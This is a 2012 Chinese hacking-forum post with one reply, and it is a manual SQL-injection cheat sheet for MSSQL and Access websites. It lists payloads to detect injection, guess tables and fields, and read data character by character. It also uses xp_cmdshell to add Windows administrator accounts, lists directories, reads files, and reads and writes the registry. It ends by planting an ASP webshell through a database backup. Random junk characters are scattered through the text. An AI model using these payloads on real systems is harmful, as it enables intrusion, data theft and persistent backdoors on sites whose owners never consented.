找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2626|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
3 K- a  V9 j% C: ]$ q4 e7 |  o1.判断是否有注入;and 1=1 ;and 1=2
4 y. K7 \. q4 @5 b
/ g/ d7 E# b1 e4 P- o2.初步判断是否是mssql ;and user>0
& L/ G1 d/ H# Z1 @7 G$ E8 q$ t: c; H
5 O1 ?# W+ W* v3 s3.注入参数是字符'and [查询条件] and ''=' ! x  X6 y* \/ U9 r. {! M/ Z- x  a0 V

/ y( p5 v* s2 m4.搜索时没过滤参数的'and [查询条件] and '%25'=' & {  E% W9 o0 I) H' Q
  Z. O  B- ^# \2 z/ v5 F: c/ S
5.判断数据库系统
% `' }7 J. @, d6 k) [;and (select count(*) from sysobjects)>0 mssql 7 A4 B/ b: D& Q
;and (select count(*) from msysobjects)>0 access
# m6 S8 Y  E5 \" Z# z* N
3 [( R# D* d: U: ]4 \- T6.猜数据库 ;and (select Count(*) from [数据库名])>0 0 S5 V( l- v+ d4 n- b
- }/ J; R+ I0 ?' k* O9 l
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
2 C+ s& K; i9 K; f% ]+ B6 Q) w$ D8 d9 l- F
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 & q# |3 o2 T) z
% j# u0 o: m9 a" ^8 s. O# R7 N
9.(1)猜字段的ascii值(access)
3 X) J  C! n/ |$ v1 G;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0 G& _* \8 r0 C
$ v' m8 ]8 {0 D5 e$ z5 P& x: V  {
(2)猜字段的ascii值(mssql)
( i4 e5 r' {7 ~;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 * ?' X+ i, A7 `, l6 m

! `, r7 o# \( o6 D3 S10.测试权限结构(mssql) 6 ]2 Y# l6 Z$ M. u
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- * M( ?3 e- O  L% s
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8 |- ]1 l. H* l* a
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3 F1 R9 |/ h% y; s5 S+ P
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- / x9 H$ u# }& d+ l/ ?" ^
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* P5 D/ f7 M$ b! v;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
5 g9 \0 \/ m$ m4 X; T6 J' m;and 1=(select IS_MEMBER('db_owner'));-- 7 U; ?+ `4 d1 \9 i
0 Y* }. z/ B' h; f% G1 ~
11.添加mssql和系统的帐户
( @; E# L0 ^7 k- f$ e;exec master.dbo.sp_addlogin username;--
' `% X- ~$ n2 L- C2 z8 o6 `) D, l) v+ p8 q8 c  x
;exec master.dbo.sp_password null,username,password;-- & q1 h! K' i. j8 l- ?* C
% B5 c6 J4 c  T$ K1 ?! w4 o
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- & \& p5 t: y% ?3 b6 X: Y

) z) \6 [$ ~/ z& x8 }# ~  K0 k& t8 L;exec master.dbo.xp_cmdshell 'net user username password + ^  m4 ?3 Z+ o) _1 n1 R
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- - Q: ]- M/ R2 U3 x& Y5 H' A' @

" G6 r: H' b/ V+ j2 n* T, G) d;exec master.dbo.xp_cmdshell 'net user username password /add';-- % P9 d! A" T8 f8 Z- U2 Q' [
+ _  `5 S8 s; u
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
0 S: O0 |9 ]9 D* d% @: W8 |4 @* m
12.(1)遍历目录
4 R( F2 @" X+ W1 x" E. m
- l- O6 J6 u9 G0 j- @" O: m4 w, {;create table dirs(paths varchar(100), id int) 5 d! M! r4 ]+ u4 w* E
;insert dirs exec master.dbo.xp_dirtree 'c:\'
+ K  u, d. ^9 l2 m; K0 x; c) O;and (select top 1 paths from dirs)>0
8 }( G. |; ]/ ^3 T;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
# [# I& v, Z; G- L; z! _
5 w0 w3 H( y8 _- ]0 Q% _$ ?(2)遍历目录 $ q. q! f, W- w3 S9 _# z  @
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# L+ l0 |* i5 S;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
$ I( o; {! I* O5 ~4 e" y* \. `;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
- [: e6 p! J) u' k. U& |, I3 n;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4 k" Q7 i7 u/ @6 F) r& ~8 [6 q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 6 r8 I5 s* C( F! x- h

2 L2 z" }6 Y/ v7 T& @8 R: \. [13.mssql中的存储过程
2 {1 K' I; n9 o- p1 h: |4 ?; U5 q  }0 D5 Y2 H# \# k# D2 p
xp_regenumvalues 注册表根键, 子键
, ?9 k+ g; \: h5 J* W;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ' D0 `$ B& J# `9 [; k& t3 ?& p
% j# N. c5 u% g2 N3 O- l  U1 H
xp_regread 根键,子键,键值名 . s  q/ s2 s) z: Z! H. T+ V4 K
;exec xp_regread
: B, ?/ [) b$ ^'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % n$ H$ i" j& V: Y0 P- g9 U( ^

  H, b' |- o6 d8 ~xp_regwrite 根键,子键, 值名, 值类型, 值 ' |7 A6 X3 N% g+ k5 q: S
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
) y$ d% B# N1 |;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 % L# M/ g1 V4 B7 c. H/ x7 {. M
9 b1 w# a# y: P% S8 t+ W; H6 w+ B5 R
xp_regdeletevalue 根键,子键,值名
: |1 j. f2 [2 p+ M
3 ]+ l9 s8 z& V5 j  E3 h9 R/ d) aexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ! P8 e- \$ |- d( p  V, n- D

, C- I' Q7 l+ d% Z2 Cxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0 Z) x- [9 s$ `9 L" e/ P8 Q1 J7 W
) {, f4 L5 ?. _9 A
14.mssql的backup创建webshell 7 Y% U* W4 Y2 ?6 ]! F% Q' o
use model 3 M+ V. Q7 I+ y" l4 P) D% I
create table cmd(str image);   q  N5 `, K4 Q& b0 y9 C
insert into cmd(str) values ('');
; {. F) e9 }1 m* x1 D" u: H" m& Ibackup database model to disk='c:\l.asp';
4 k3 z* d% I$ Y: |' Q1 N3 b# f  m! S: R/ c4 A5 Y% g# m. }
15.mssql内置函数 3 ^) m" \4 w) s" J1 y
;and (select @@version)>0 获得Windows的版本号   P" b% F* `7 B/ l; r& J
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2 U+ z& N( s# n- p1 \! C
;and (select user_name())>0 爆当前系统的连接用户 2 Q$ A+ q) E% X! P2 H+ [
;and (select db_name())>0 得到当前连接的数据库
% C2 H7 k3 x& }" X" d1 h2 V0 I( w; h0 {+ R6 o9 I  o0 q
16.简洁的webshell
  E  ~5 R# O, C
, S+ n5 G9 f: I% Y- |5 g" F3 buse model 2 A8 M, m  S1 L9 k" S$ A( _
0 o, w, f) r( Z1 W! E1 v
create table cmd(str image);
) r2 @3 j( q! [2 d& @1 r9 ~& {3 i, b2 Y% K
insert into cmd(str) values (''); , x: W6 D* |1 _
$ S  M. p3 \3 X& n2 r3 ]& t
backup database model to disk='g:\wwwtest\l.asp'; & i: V& A% I: G# ?
2 C6 p- j1 t; R* O& S% L( Q
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表